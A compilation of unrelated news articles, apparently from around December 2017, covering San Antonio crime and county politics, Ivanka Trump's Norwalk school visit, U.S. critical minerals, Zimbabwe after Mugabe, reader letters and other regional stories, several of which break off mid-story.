After the news of Trumps visit broke online, parents took to Facebook to express their feelings. Some had disdain for the current administration, others praise for the visit by a member of the first family, and some fell in the middle, saying that even if you are not a fan of the Trumps, the attention NECA received was a good thing.

Under normal circumstances, a visit from the Presidents daughter would be entirely exciting for ALL students. Unfortunately, given the current administrations record on bigotry and racism, the choice to have her as a guest in a diverse community is clearly controversial, wrote Sharon R. Encarnacao Baanante. While we all have our own opinions, I was curious has anyone talked to gay, transgender or minority students in this program about how her visit made them feel?

More for you Ivanka Trump impressed by Norwalk early college program

Speaking a proud, liberal Norwalk resident I think it is great that Ivanka came to NHS today ... our city is an amazing diverse place, with fantastic programs like NECA for our children, and Ivankas visit draws attention to that, wrote Kate Owen Morin in the Norwalk Parents for Education Facebook group. I am tired of the perception that we are the hole in the donut here in Fairfield County. This gets us positive recognition and good publicity and I for one am happy about that, regardless of who her father is.

Parents of Norwalk High School students received a robocall prior to Trumps arrival notifying them there would be no morning dropoff at the school because of a special event, and students would need to walk from neighboring Naramake Elementary.

Outside the high school, there was no indication anything unusual was happening. Inside, basement classrooms were cleared and more than a dozen police officers lined the hallway leading to where the panel was assembled.

IBM is looking to get significant funding to significantly expand these types of opportunities for young adults, Board of Education member Bryan Meek wrote in the Norwalk Parents for Education Facebook group. Its amazing how polarizing things are that a sitting first daughter can't even try to help without being ridiculed and demeaned.

Regardless of your stance regarding Ivanka Trump, I think we can all celebrate that NECA is the most successful program of its type in the state, thanks in part to IBMs generosity and partnership, wrote BOE member Barbara Meyer-Mitchell. I think that is where we need to focus. On the success of our program.

kkrasselt@hearstmediact.com; 203-842-2563; @kaitlynkrasselt
Interior Secretary Ryan Zinke launched a push Tuesday to expand critical minerals production in the United States, saying "we are vulnerable as a nation" because we rely so heavily on imports from China.

The move comes as the U.S. Geological Survey published its first assessment of the country's critical minerals resources since 1973, an analysis the agency began in 2013. The report concludes that 20 out of the 23 critical minerals the nation relies on are sourced from China.

"It is time for the U.S. to take a leading position," Zinke told reporters at a briefing. "And it's not that we don't have the minerals in the U.S. It's likely we do."

While the United States has significant deposits of most of the minerals it currently imports to produce everything from smartphones to weaponry, market considerations largely drive mining. The United States was ranked as the world's largest producer of such minerals until 1995, but since then, China has led the globe.

Zinke and other Interior officials acknowledged that China has emerged as the world's dominant critical minerals supplier because it sells these materials for less, and they did not specify how the U.S. would boost production given that price differential.

"We do know there are deposits that could, in theory, supply all of our needs," said Larry Meinert, USGS acting deputy associate director for energy and minerals. "This gets into basic economics, supply and demand."

Out of the nearly two dozen minerals USGS analyzed, the United States relied on overseas supplies for at least 50 percent of all but two of them: beryllium and titanium. Since the 1990s the agency has produced an annual snapshot of the domestic and global mineral industry for 88 mineral commodities, including the 23 critical minerals identified in the new report, but this assessment provides a greater level of detail and geological analysis.

"You need small amounts of these things, but it's critical for the function." Meinert said.

Ryan Castilloux, founding director of the Canadian-based analyst firm Adamas Intelligence, said in a phone interview that while it would make sense for North America to expand its domestic production of rare-earth metals and other minerals, commodity prices have been so volatile in recent years that this has deterred investors.

"They continue to be a challenge going forward," Castilloux said, adding that the fact that the United States and Canada are "missing all of this value-adding infrastructure" that converts minerals to final products.

The prices for rare-earth metals have recently rebounded, Castilloux observed, making it "plausible" that some mining could reopen in the United States. "What we need is those healthier prices for a prolonged period to get these investors to come back from the sidelines."

Zinke did not launch a specific new policy initiative, but Heather Swift, his spokesperson, said the secretary had discussed the issue with the president, and the administration would act on the matter in the coming months.

Hal Quinn, president and chief executive of the National Mining Association, said in a recent interview that his members had emphasized to Zinke, as well as President Donald Trump, the need for an expansion of critical minerals production at home. Streamlined federal permitting, Quinn added, could make that possible.

"Secure and stable supply chains are vital for the success of so many economic sectors," Quinn said, adding that when they look at how long it takes their competitors in countries such as Australia and Canada to get mining operation permits, "They get it done in two years or so, and it would take seven to ten years in this country."

USGS experts prepared an analysis for Zinke of what critical minerals would be components of a Navy SEAL's combat equipment. It concluded that the outfit would include five critical mineral elements in night-vision goggles, 13 for communications gear and a Global Positioning System and three for an M4 rifle.

"As a former Navy SEAL, I didn't realize that when I was entering combat, much of it was made in China," Zinke said. "And that should [bother] us all."
A Houston woman was arrested Saturday night for allegedly spitting on the Houston police chief, after he chased her down to arrest her for stealing.

Chief Art Acevedo was shopping around 6:40 p.m. Saturday when a woman tried shoplifting at a Walgreens on Washington, according to Houston police.
Sexual misconduct by those in positions of power is so widespread, it seems, the issue has impacted most entities,including the lawmakers representing Texans in congress and in the state legislature.

The New York Times first reported in October that movie producer Harvey Weinstein was accused of harassing and assaulting dozens of women over multiple decades. Since then, dozens of men in Hollywood, media, politics and other fields have been accused of sexual harassment and assault.
On guitarist Keith Richards' 74th birthday, a look back on when the Rolling Stones graced the Alamo City.

The first time Keith Richards played the Alamo City he was just 20 years old, the Rolling Stones were unknown and the crowd booed and taunted them, according to Express-News archives.
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Commissioners Court on Tuesday approved $19.8 million for the next segment of the San Pedro Creek Improvements Project, a three-block stretch through downtown that will mark the 2.2-mile projects most complex construction effort.

The funding, approved unanimously by the court, will pay for a mix of design, demolition and construction activities along the creek from Houston Street to Nueva Street. All construction on the segment is expected to be underway by the end of the summer.

The court also asked the San Antonio River Foundation to coordinate with the San Antonio River Authority, which is managing the creek project, to potentially raise additional funds for the $735,000 sculpture that will serve as the centerpiece of San Pedro Creek plaza. County Manager David Smith recommended the move, citing uncertainty over the final budget.

The sculpture, titled Plethora and originally planned to be a six-story aluminum structure, will form a womans face that can be seen from Interstate 35.

River Authority General Manager Suzanne Scott confirmed the sculpture wouldnt be completed by the original deadline of May 5, the date of the all-day county tricentennial celebration.

This is a very complicated structure, and we want to make sure that the Commissioners Court is happy with the result they ultimately get from that, Scott said. We don't want to build something that doesn't meet their expectations or the community's expectations.

Carrie Brown, the projects public art curator, said some details of the sculptures fabrication and installation process have yet to be finalized, but weve been able to work through a number of issues and challenges.

County Judge Nelson Wolff said the court had yet to see a final iteration of the sculpture.

I don't know what (David) Smith's inside knowledge on that is, and whether it is going over budget, Wolff said. But he just wanted to make it clear he wasn't bringing it back to the court (for more funding) if it does go over budget.

The bulk of the funding approved Tuesday, about $12.9 million, will go toward civil and utility work along the next creek segment, including wall stabilization and building underpinnings.

A smaller chunk, totaling about $4.2 million, will pay for the demolition of an already-closed Dollar General store on Commerce Street and various electric and gas utilities.

The remaining $2.7 million will fund further design of the segment, rounding out that phase. A final design is due by May to Sundt-Davila, the joint construction venture for the project. A final price proposal for the segment is due to the construction team by July.

The commissioners also approved several design changes to the next segment, projected to save $7.3 million. They scrapped plans for an amphitheather that would have gone next to the Alameda Theater, where the segment begins, putting a performance plaza in its place.

The more we looked at a full-blown amphitheater, we realized that it probably isnt the best use of that space, said SARAs Kerry Averyt, the project manager. There were concerns that it would be underutilized and wouldnt get the full benefit of the space.

Designers also modified the scope of the segment to allow for more green space along the creek and dropped plans for a foot bridge at the Spanish Governors Palace.

Scott said she sees a parallel between the creek project and the Museum Reach extension of the River Walk, completed in May 2009.

The Museum Reach design team coordinated with the Pearl, which then was undergoing construction, leading the Pearl to kick in funding for part of the extension.

That same thing will happen now as developers are going to come along San Pedro Creek, Scott said. There could be some public-private partnerships that will allow for those connections.

The first segment of the creek project starts at the flood tunnel inlet beyond North Santa Rosa Street, near Fox Tech High School, and extends south to the Alameda Theater at Houston Street. That stretch of the project remains on track for completion by May 5.

Though the creek project is a joint venture between Bexar County and the City of San Antonio, the county is providing $132.8 million of the $158.9 million committed funding, with the city tacking on $19.5 million in bonds. The remaining $6.6 million will come from utility reimbursements.

Jasper Scherer is a San Antonio Express-News staff writer. Read more of his stories here. | jscherer@express-news.net | @jaspscherer
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On Dec. 11, Gerard Ponce was a Republican candidate for the Precinct 4 seat on Bexar County Commissioners Court. Four days later, the countys GOP chair, Mark Dorazio, had declared Ponce ineligible.

The Express-News reported Friday that Ponce, 64, was registered to vote outside Precinct 4, violating a requirement of the Texas Election Code stating candidates must be registered to vote inside the territory they are running to represent.

Party chairs have the ability to remove candidates whom they declare administratively ineligible, and in Ponces case, he was registered to vote at a Precinct 2 address, despite listing a Precinct 4 address on his candidate filing application. Dorazio had five days after Ponce submitted his application to declare him ineligible, and he made the official move on Friday.

Ponces name no longer appears on the Texas secretary of states website, which compiles statewide candidate filings.

Commissioner Tommy Calvert, the Democratic incumbent, had planned to take legal action if the party did not remove Ponce or if Ponce did not withdraw himself.

Ponce said he was unaware of the voter registration requirement when he jumped into the Precinct 4 race at the last minute, having originally intended to run for county judge. He said Dorazios decision surprised him, despite understanding what the election code states.

I was pretty shocked because I felt he was supporting the Democratic Party rather than his own candidates, Ponce said.

Dorazio said he called Ponce to inform him of the decision and explain why his name was being removed. Dorazio first consulted several other party employees before making the call, he said, to ensure other people saw it the way I saw it.

My thought process was that this is what the law says, and this is what my responsibility to the law is, and to our citizens of San Antonio, Dorazio said.

I just hope the Democrats would do the same thing, he added, laughing.

Ponces residency was also in question, as the election code mandates that candidates live in their offices territory for six continuous months before the primary filing deadline. Calverts legal team had planned to focus its case on the issue of voter registration instead, finding Ponces residency status more difficult to prove.

Ponce claimed he had lived in Precinct 4 for longer than six months, first with his brother and then with his niece, though he could not remember when he first moved into the precinct.

Jasper Scherer is a San Antonio Express-News staff writer. Read more of his stories here. | jscherer@express-news.net | @jaspscherer
A man accused of robbing two area banks was arrested after a brief police chase Monday.

Jack Harris, 30, was booked on two counts of robbery Monday after he was apprehended about 4 p.m. in the 2000 block of Lamar, according to a San Antonio police report.

Investigators said they began looking into the case after a Dec. 12 robbery at Falcon Bank, 1202 Bandera Road.

Detectives noticed a similarity in the suspect description in another robbery at a Broadway Bank in Helotes. They found out about that robbery Friday.

Both SAPD and Helotes police found enough probable cause to obtain an arrest warrant for Harris and tracked him down to Lamar, according to the report.

Police said Harris attempted to run away when officers found him Monday, but they managed to arrest him shortly afterward.

After he was interrogated by both Helotes and San Antonio detectives, he was booked on warrants in connection with both the Falcon and Broadway bank robberies.

Jacob Beltran is a San Antonio Express-News staff writer. Read more of his stories here.| mailto:jbeltran@express-news.net| Twitter: @JBfromSA
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Former state Rep. Ruth McClendon, D-San Antonio, died Tuesday after an extended battle with cancer. She was 74.

Bexar County Commissioner Tommy Calvert announced McClendons death during a Tuesday court meeting. Calvert previously served as McClendons intern.

McClendon represented District 120 for two decades, taking office in November 1996 after winning a special election. She resigned in January 2016, having passed a bill in the recent legislative session that created an innocence commission to review wrongful convictions.

In the Legislature, McClendon served two terms as chair of the House Committee on Rules and Resolutions, also serving on the House Appropriations and Transportation Committees.

Before serving in the Legislature, McClendon was a member of the San Antonio City Council from 1993 until 1996, representing District 2.

Bexar County Judge Nelson Wolff, who served as mayor for part of McClendons tenure on the council, remembered her as a friend and the go-to person once she left for the Legislature. Wolff recalled that McClendon campaigned with him on the East Side during his 2014 primary run, a challenging election for the longtime judge.

She was one of those unique ones that had an impact and understood how to work across party lines, Wolff said. She stuck to her beliefs, but when it came to patching some votes together, she was effective.

In a statement, Texas House Speaker Joe Straus, R-San Antonio, called McClendon a faithful public servant and tireless fighter for justice.

She was a person of principle and decency who spoke for those whose voice is too often not heard, Straus said. Every one of us who served with Ruth was inspired by her integrity and tenacity, especially in the difficult final days of her service.

San Antonio Mayor Ron Nirenberg echoed Wolffs comments, calling McClendon a consensus builder, who used her considerable political skills to help the needy.

As a Democrat in a Republican-controlled Legislature, McClendon managed to land on the House Appropriations Committee under two Republican speakers, Nirenberg said in a statement. She was a strong voice for San Antonio and her district. She wielded power gently but effectively.

U.S. Rep. Lloyd Doggett, who began his congressional career one year before the start of McClendons tenure in Austin, said she was a powerful voice on City Council and in the Legislature.

Her legacy of public service continues to inspire us to work for causes she championed, including access to health care and helping all students fulfill their God-given potential, Doggett said. Whether it was visiting with her at her annual Western Roundup or through her efforts to expand educational opportunities for young people at the state Capitol, she worked tirelessly on behalf of others and her constituents on San Antonios East and Northeast Sides.
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Saved by his stepmother, Joann Ward, who died trying to protect him, 5-year-old Ryland Ward is on a positive path to recovery since the Nov. 5 massacre in Sutherland Springs.

Ryland was recently moved out of intensive care to the seventh floor at University Hospital. His cheerful disposition is reflected in the status of his new hospital room  complete with Nerf guns, a small Christmas tree and Christmas cards sent to him from the world over.

He loves tearing into them and reading them, Earl McMahan, his great-uncle, said Monday at University Hospital. His smile gets bigger with every card he opens up  Im surprised his jaw doesnt hurt.

Rylands two sisters, Emily, 7, Brooke, 5, and his stepmother died in the shootings that killed 26 people, including an unborn child, at the First Baptist Church. Rylands sister, Rihanna, 9, was uninjured during the massacre, and his father, Chris Ward, didnt attend church that day.

Rylands mother, Chancie McMahan, and his father have been taking turns staying with the boy at night so he is never alone, Earl McMahan said.

His recovery has been phenomenal, said Laura Barker, Rylands grandmother, considering he was shot five times: in his leg, his arm, his groin and twice in his stomach.

At the beginning, it was touch-and-go. Because of the situation everything was ... we werent sure, said McMahan. One day hed take a step forward, next day hes two steps back. But hes such a tough little guy, he just fought through it.

Sandy Ward, Rylands other grandmother, asked for Christmas cards on behalf of Ryland, and that call went national. McMahan said the boy has received thousands since then. A call for a go-kart was also made by Sandy Ward, and one GoFundMe page for Ryland has raised about $148,000. Another exceeds $36,000.

McMahan and Barker said University Hospital is now also accepting Christmas cards for Ryland. Those interested in sending a card to the boy can mail it to the hospital at 4502 Medical Drive, MS 94-1, San Antonio, TX 78229.

As for the extended family, McMahan said their familys well-being is dependent on Rylands.

As long as you see him smiling and doing well, then were doing well. If hes struggling or if hes upset and hurt, then were upset and hurt, he said. We just try to be there for him to make him as comfortable as we can.

On Monday, he had another surgery to undergo, McMahan said, to check on his kidney, which had a stent put in it last week. Ryland cant walk yet  hes in a brace  and hes received skin grafts on his arm. More surgeries are expected.

While theyre hoping hell be out of the hospital before February, McMahan and Barker said they dont know if Ryland will make a full recovery.

We can only hope so. McMahan said. Hes had quite a bit happen to him and hes come a long way.
Police are asking for the public's help identifying and finding the suspect in the 2009 slaying of a 17-year-old on the East Side.

The victim, Paul Deleon, was sitting in the front passenger seat of a car stopped at the intersection of Fair and South New Braunfels avenues around 1:20 a.m. on Dec. 19, 2009, when a man in a white Nissan Frontier pulled up next to him and fired a single round.
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The suspected drunk driver who's accused of causing a head-on collision that killed a 29-year-old San Antonio mother is facing a new charge.

Alejandro Torres Almazan, 25, is now facing another charge of intoxication assault, in addition to the two he already has against him and the intoxication manslaughter charge. He remains in the Bexar County Jail on a $250,000 bond and is being held on an immigration detainer.

RELATED: Alleged drunk driver in head-on crash that killed woman is jailed, held on immigration detainer

Police said Almazan, driving a green 2003 Chevy Suburban, crashed head-on into a Mitsubishi Outlander, killing the driver, Lizette Flores Corona, 29, who had an 8-year-old son.

Three passengers in Corona's car were also injured: Michelle Ruiz, 27, Pablo Ledesma-Rodriguez, 27, and Diego Armando Corona-Tafolla, 29, officials said.

Now Playing: San Antonio police say a woman was killed following a head-on collision on the Northwest Side Sunday morning, Dec. 10, 2017. Video: San Antonio Express-News

Authorities responded to the crash around 2:30 a.m. By 3 a.m., Coronoa had been pronounced dead and paramedics were taking Ruiz, Rodriguez and Corona-Tafolla to University Hospital in critical condition, authorities said.

RELATED: Family starts fundraiser for 29-year-old S.A. mother killed in alleged drunk driving crash

Almazan allegedly failed a field sobriety test and was arrested.

Since Corona's death, her family has started a GoFundMe account to raise money for her funeral. The account had raised $3,700 as of Tuesday morning.

Text "NEWS" to 77453 for breaking news alerts from mySA.com

Caleb Downs is a crime reporter for mySA.com. Read more of his stories here.| cdowns@mysa.com | Twitter: @calebjdowns
A man who prosecutors say didn't follow through on multiple jobs he was paid to do in San Antonio was sentenced to four years in prison.

Carlos Elizondo, 45, has been charged with theft 10 times since 2014, according to court records. He was sentenced on four counts.
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A man accused of robbing two area banks has a history of theft, according to court records.

Jack Harris, 30, was booked on two counts of robbery Monday after he was apprehended about 4 p.m. in the 2000 block of Lamar, according to a San Antonio police report.

Investigators said they began an investigation after a Dec. 12 robbery at Falcon Bank, 1202 Bandera Road.

Detectives noticed a similarity to the suspect description in another robbery at a Broadway Bank in Helotes on Friday, authorities said.

RELATED: Reward offered for tips on suspect in fatal 2009 shooting of teen on East Side

The Helotes Police Department put out a description of the suspect and disseminated it to the public in hopes of identifying the man.

On Saturday, Helotes police received a tip that identified Harris as the suspect.

Police looked Harris up, and noticed he's been arrested multiple times in Collin County. Though most of the charges are nonviolent misdemeanors, like driving with a suspended license, he was most recently arrested in May in Plano for theft.

He pleaded guilty to the charge and was sentenced to 30 days in jail, according to Collin County Court records.

RELATED: Affidavit: Suspect challenged women to fight before fatal Whataburger shooting

Police said Harris attempted to run away when officers found him Monday, but they managed to arrest him shortly afterward.

After he was interrogated by both Helotes and San Antonio detectives, he was booked on warrants in connection with both the Falcon and Broadway bank robberies.

His bail was set at $40,000, according to jail records.

Fares Sabawi covers crime in San Antonio and Bexar County for mySA.com. Read more of his stories here. | fsabawi@mysa.com | Twitter: @FaresInSA
WASHINGTON - Sen. Bob Corker raised fresh questions about the GOP tax bill, throwing Tuesday's voting in doubt after critics said he and other lawmakers - and President Donald Trump - would personally benefit from a provision giving breaks for real estate holdings.

The Tennessee Republican had endorsed the bill last week in a crucial turnaround that provided momentum as GOP leaders try to ensure passage with their slim 52-48 majority. Their numbers narrowed as Sen. John McCain returned home to Arizona over the weekend as he battles brain cancer.

But after weekend reports that wealthy real estate developers like Corker would benefit from tax treatment in the final bill, the senator faced intense backlash and accusations, which he denied, that he traded his vote.

Corker - who gave his support without having read the entire bill - said he was unaware of the provision. It had been part of the House GOP bill, he said, and was included in the final version merged with the Senate.

"Beginning on page 25, line 3, there is a policy related to pass-through businesses and what is known as the alternative limitation on the deduction amount," Corker wrote Sunday in a letter to Sen. Orrin Hatch, R-Utah, the chairman of the Finance Committee.

"Because this issue has raised concerns, I would ask that that you provide an explanation of the evolution of this provision and how it made it into the final conference report. I think that because of many sensitivities, clarity on this issue is very important and hope that you will respond in an expeditious manner."

More Information Other developments Vice President Mike Pence on Monday postponed his trip to Egypt and Israel until mid-January, citing the need to preside over the Senate on a sweeping tax overhaul. Pence will instead travel to the Middle East during the week of Jan. 14 so he can be in the Senate for Tuesday's expected tax vote. The European Union's executive branch is warning the United States that its planned tax overhaul could violate some of its international obligations and risks "seriously hampering" trans-Atlantic trade. In a letter to U.S. Secretary of the Treasury Steven Mnuchin, the EU Commission reinforced a similar move by Germany, France, Britain, Italy and Spain to stress it has serious concerns over several tax initiatives. From wire reports See More Collapse

Hatch responded in a letter Monday that he was "disgusted" with reports that "distorted" the bill-writing process, denying the pass-through provision was jammed into the final bill at the last minute.

"It takes a great deal of imagination - and likely no small amount of partisanship - to argue that a provision that has been public for over a month, debated on the floor of the House of Representatives, included in a House-passed bill, and identified by (the Joint Committee on Taxation) as an issue requiring a compromise between conferees is somehow a covert and last-minute addition to the conference report," Hatch wrote in his response.
Re: Trump attacks Gillibrand, blames Democrats for womens claims, Nation & World, Dec. 13:

By only partially quoting the presidents tweet about Kirsten Gillibrand, the EN minimizes the obvious sexual intent of the original tweet.

USA Today got it right with its editorial.

Francille Radmann

Action futile

Re: Lack of action on climate risk to credit, Editorial, Dec. 13:

I hate to be the bearer of bad news, but climate change or no climate change, if even Hurricane Fru Fru hits, we are all going swimming. Has no one told you that this city is shaped like a bowl? I am old enough to remember the urgency of the 1970s when all eminent scientists assured us we were in for a new ice age.

Penelope Talley

Alas, poor birds

A statue was removed in Travis Park, the most important part of which was the hat. I speak on behalf of all of the pigeons who lost their commode atop that piece of stone. The Christmas tree is beautiful, but just try to imagine a pigeon trying to use it on a bristly limb or a hot light as the commodious hat had so served birds for generations. And bats, too, have been poorly treated in this great city. There were numerous bat roosts throughout the city many years past, for mosquito control, so that they didnt have to roost under bridges and such, more vulnerable to their predators. So please, fathers of the city and county, pause to consider the effect of your statue politics on our creatures as you shift things around to placate the citizens who sometimes get lost in the past over carved stone, both sides, of course.

George Cooper, Boerne

Value of history

Re: Soldiers hanging brought outcry; Executions led to change in Armys justice system, front page, Dec. 11:

Thank you, Sig Christenson, for the Tricentennial article on the 1917 Fort Sam execution of 13 black soldiers and its effects on the U.S. Army.

Today, we must remember our history: Those who forget the past are condemned to repeat it.

Janice Clayton

No justification

Democratic hypocrisy exists. But to be clear, Bill Clinton was impeached not for having sex with Monica Lewinsky but for lying about it. Roy Moore and Donald Trump are lying their heads off. Further, Lewinsky does not appear to have been coerced, and she was of age when the incident occurred.

If Bill Clinton coerced sex from other women, as some have alleged, that was a terrible thing and maybe he should never have been elected president. But he was, and that is water under the bridge. But for the Republicans to point at him and say, Billy did it first, is a justification appropriate to a grade-school playground. What Bill Clinton did or did not do has nothing to do with what Moore and Trump have done. One bad deed does not justify another.

Grow up, people.

Bob Ross

Prayer the answer?

Seems each week another national politician hits the ground (or lower) with an admission of sexual harassment. That leaves the executive branch, presently occupied by an admitted and even proud abuser. Maybe he will be next, but dont hold your breath.

He has a history of survival, but wait, I am trying PRAYER.

Herman I. Morris, Plano

No input

Re: The 80s were cool, Your Turn, Monday:

The letter writer will not get an argument from me about how cool the 80s were, especially when it comes to the music.

The article about Benavides, however, was more about how he came about getting the acts without any input from his board of directors. The board didnt even know what he was doing.

Yes, REO Speedwagon and Pat Benatar are good choices, considering other acts in past years cannot even be remembered for ringing in the new year downtown. Dont you think, though, that starting off the year would have been better with input from the board. The wish list included the likes of Madonna, Duran Duran and Shakira, to name a few who were leaked out previously.

Makes one think if he was trying to run the organization much as his mentor runs the city. Hmmm. She did handpick him after all.

Paul Resendez

Threat of tyranny

Is it President Trump or President Bannon? Just joking. One is enough. The first is the elected one (by an antiquated electoral college). The second plays the role of the presidents whisperer. Both seem to aspire to a more dominant executive branch. (It should be noted that Bannon is no longer on Trumps staff, although he freely speaks for Trump.) But we need to ask both of them  are they referring to an executive branch that would place the legislative and judicial branches in a secondary role? It could be.

Trump has publicly stated (more than once) that he admires strong global leaders, which is disturbing to this citizen. He is talking about leaders like that of Putin in Russia. Does Trump favor a form of autocracy over the restraining democracy that confronts (irritates) him now? Is that Bannon whispering in his ear  over and over?

The two of them need to heed the precept that the Constitution is structured to block the rise of a tyrant. If we forget, well, we will pay the price.

Robert Paul
Zimbabwean President Emmerson Mnangagwa gave his clearest signal yet on Tuesday that he would appoint as vice president the military leader who led the de facto coup that ousted former leader Robert Mugabe last month.

At a ceremony marking Constantino Chiwengas retirement and handover of the military reins to Phillip Sibanda at an army barracks near Harares international airport, Mnangagwa lauded Chiwenga for his consistency and steadfastness.

I therefore urge you to maintain the same loyalty, robustness and dedication to duty as you move to your next assignment which is quite prominent, he said without elaborating.

Mnangagwa said on Friday he would fill the two vice presidential posts in the following few days. Chiwenga is the top contender in what is seen as a reward for helping to end Mugabes 37-year rule.

Mnangagwa has appointed several senior military officers to his cabinet and the ruling partys executive politburo since he was sworn in as president on Nov. 24 in what some political analysts say reflects the armys consolidation of power since it turned against the 93-year-old Mugabe.

Chris Mutsvangwa, special adviser to the president and the influential leader of the war veterans association, rejected criticism of the military appointments, saying they were not unique to Zimbabwe. He pointed to the former generals in U.S. President Donald Trumps cabinet.

He also denied a report by the privately owned NewsDay newspaper that he had said the army would play a role in elections due next year.

Its a lie  I said there was a team which helped to undo the dynastic tendencies of geriatric Mugabe and his mid-wife (sic), he told reporters at his offices in Harare.

I promised to the new president that we are going to deliver an electoral victory but that team specifically excludes the army because the army had played a role earlier and because the army is a professional army and does not get involved in election campaigns.

The elections are due by July 2018 but Mnangagwa has said they may be held sooner than expected.

Mnangagwa told members of his ruling ZANU-PF party on Friday they would have to start fixing the economy if they wanted a chance of winning next years vote.

The southern African nations economy collapsed in the latter half of Mugabes rule, especially after the violent seizures of thousands of white-owned commercial farms. (Additional reporting by Philamon Bulawayo; Editing by James Macharia and Hugh Lawson)  Reuters

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Former Zimbabwe president Robert Mugabe has had his travel and security expenses drastically cut but has been allowed to keep the presidential limo and a wing in State House, a newspaper reports.

Mugabe, who was persuaded to resign last month after a military takeover, has been able to keep his bullet-proof black Mercedes limousine, says the Zimbabwe Independent.

But now the limo is registered with an ordinary yellow number plate  and not the infamous white Zim 1 plate it used to carry.

Meantime the Zimbabwe Independent says Mugabe travelled to Singapore last week with a drastically-reduced entourage. His wife Grace still insisted on keeping half a dozen bodyguards. The sources said, she demanded six security personnel after resisting efforts to reduce her security details to three.

Mugabe had to compromise by allowing a smaller contingent as well as a smaller security team so that Grace could be allowed to travel with a six-member security team for herself, a government source told the paper.

In the past he would have taken over 80 people, the source added.

Mnangagwa and his cabinet

Mugabe is understood to have some international travel expenses included in his retirement package. But his foreign trips are likely to be severely curtailed. The Zimbabwe Independent said the former president spent more than $32 million on foreign travel between January and September this year.

Zimbabwes new president Emmerson Mnangagwa has shown signs of wanting to cut costs like these. Finance minister Patrick Chinamasa allocated just $17 million to Mnangagwa and his cabinet for foreign travel in the 2018 budget.

Security at the Mugabes Blue Roof mansion in northern Harare  where the Mugabes were held under house arrest during last months military takeover  has now been cut from 85 guards to 20, the Independent said.

Mnangagwa, who was on Friday confirmed as Zanu-PFs only presidential candidate in 2018 elections, has allocated Mugabe a wing of State House as his personal space in case he wants to entertain official visitors during his retirement.

He also has a library space that he may choose to use. Mnangagwa wants Mugabe to be as comfortable as possible during his retirement, the source told the paper. The new government has been at pains to emphasise that what happened in Zimbabwe was not a coup.

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At least nine inmates escaped from prisons in Mashonaland West Province in 2017, amid calls for vigilance by the Zimbabwe Prisons and Correctional Services (ZPCS).

Of the escapees, five were re-arrested while four are still at large. Hurungwe Prison had five inmates who escaped during the course of the year, while three escaped from Kadoma Prison and one from Chinhoyi Prison.

Speaking at an end of year party at Chinhoyi Caves Hotel on Friday evening, Officer Commanding Prisons in Mashonaland West, Senior Assistant Commissioner George Denya said: Inmates usually want to join their fellow friends outside and they try all tricks to go out unlawfully, therefore, go and alert your subordinates to be more careful whenever they are on duty.

We want zero tolerance to the escape of inmates.

Breaking News via Email
ALEXANDRIA, Va.  Being nimble is key to staying on top of your game, which is one of the reasons NACS launched its Convenience Matters podcast in February 2016 to release timely information and cover popular industry topics in a short, digestible audio format. This week, the podcast series released its 100th episode, Pardon the Disruption, featuring Chip Conley, strategic advisor for hospitality and leadership at Airbnb and keynote speaker at the recent NACS Show in Chicago.

Conley shares his thoughts on disruption and differentiation with NACS co-hosts Jeff Lenard and Stephanie Sikorski. Disruption is a trendy word in the business sector, and has quickly become a household term in relation to technology, especially as new advancements become faster and more scalable to businesses and users.

Whats cool and hip today could be irrelevant tomorrow, said Lenard, who asked Conley, Whats the difference between a fad and a trend? and which one should retailers focus on? Conley suggests that retailers know their community better than disruptors like Amazon Go, which largely relies on algorithms based on past purchases.

When it comes to their communities, retailers should work to keep people happy, including their employees, advised Conley. People want to feel pride in where they work, and that their business is positive to their community, he says.

During his NACS Show keynote, the hospitality expert likened the interruptive shift of business with the sport of surfing. Much like you cant control the waves in the ocean, you cannot stop disruption from happening. Instead, you can learn how to navigate the waves and create positive outcomes.

Someone who understands disruption can look at multiple waves and know which one to choose, he said. Conley pointed to several times in history that industries refused to accept marketplace disruption, such as the invention of the ATM, the advancement of buying books online and the creation of Uber.

Each week a new Convenience Matters episode is released. Episodes have been downloaded by listeners in more than 91 countries more than 34,000 times.
Clonmel Rotary Club has paid tribute to the generosity of a local businessman who is making a significant contribution to local causes this Christmas.

Larry OKeeffe Furniture Store, Clonmel, honoured its commitment to assist Rotary charities by presenting a 3,000 cheque to Rotary president Brendan Nyhan.

Mr Nyhan warmly welcomed the donation and applauded the innovative involvement of those who participated in supporting deserving local charities.

Rotary, at local level have been very active in organising fundraising events to make a difference by contributing to organisations like South Tipperary Hospice, St Vincent de Paul and Clonmel Soup Kitchen.

Mr Nyhan said - "We are very conscious of the increased demand on the work and services which these charities experience, particularly at Christmas time.

"The Regal Centre businesses, led by Larry OKeeffe Furniture Store, deserve the support and appreciation of the local community for their concern and interest in assisting the local causes which Rotary have a long term commitment to.

"Rotary international are committed to global, national and local projects and the Rotary Club of Clonmel wish to thank Larry OKeeffe Furniture Store for their most generous donation".
A 15-year-old girl was hospitalized with a head injury after falling off a moving SUV. The Beloit Police Department says the girl was car surfing, and slipped off the back of the SUV and landed on her head.

"Things like this happen. It's not an anomaly," Sgt. Ryan Flanagan said.

Flanagan says it was the fire department who first responded to the call to the 1400 block of Grant Street in Beloit around noon Sunday. Once the fire department arrived, they realized the accident was vehicle related and called the police. Police arrived to find blood on the street. The girl was taken to UW Health Hospital in Madison and treated for a minor head injury.

Police say the driver of the car is a 16-year-old boy. He said two other girls were car surfing that day with the one who was injured, and it wasn't their first time doing it.

People have died from car surfing-- a popular stunt that has been around for decades. Flanagan says he hopes it doesn't start to become a sensation again.

"They were taking SnapChats of it and what not," Flanagan said.

Flanagan says with the rise of social media, they have seen more accidents resulting from stunts like car surfing. He hopes parents sit down and tell their kids it's not worth the risk.

"Have a good conversation about safe driving with your kids because soon it will be raining and snowing and some kids who learned how to drive in the summer won't know how to handle snow," he said.

The driver of the car was cited for driving without insurance and for reckless driving causing bodily harm. The fines can result in up to a $2,000 fine in the state of Wisconsin.
Fayaz Wani By

Express News Service

SRINAGAR: Two militants of Jaish-e-Mohammad were killed in an encounter with security forces in south Kashmirs Shopian district of Jammu and Kashmir on Tuesday while a woman died in security men firing on protestors during clashes near the encounter site.

WATCH: Two terrorists shot dead in Jammu Kashmir's Shopian

A police official said police, CRPF and army men had laid siege around Batmuran village of Shopian district on Monday evening after receiving inputs about presence of three Jaish militants including a local militant Tanveer Ahmad there.

He said while the cording was being laid, militants hiding in the area fired on the security personnel.

The fire was returned by the troops, triggering an encounter, the official said.

He said during the encounter, police on request of Tanvirs family made repeated announcement from public address system asking the militant to surrender and lay down weapons.

The official said, Tanvir and other militants turned down the offer and continued to fire on the security personnel.

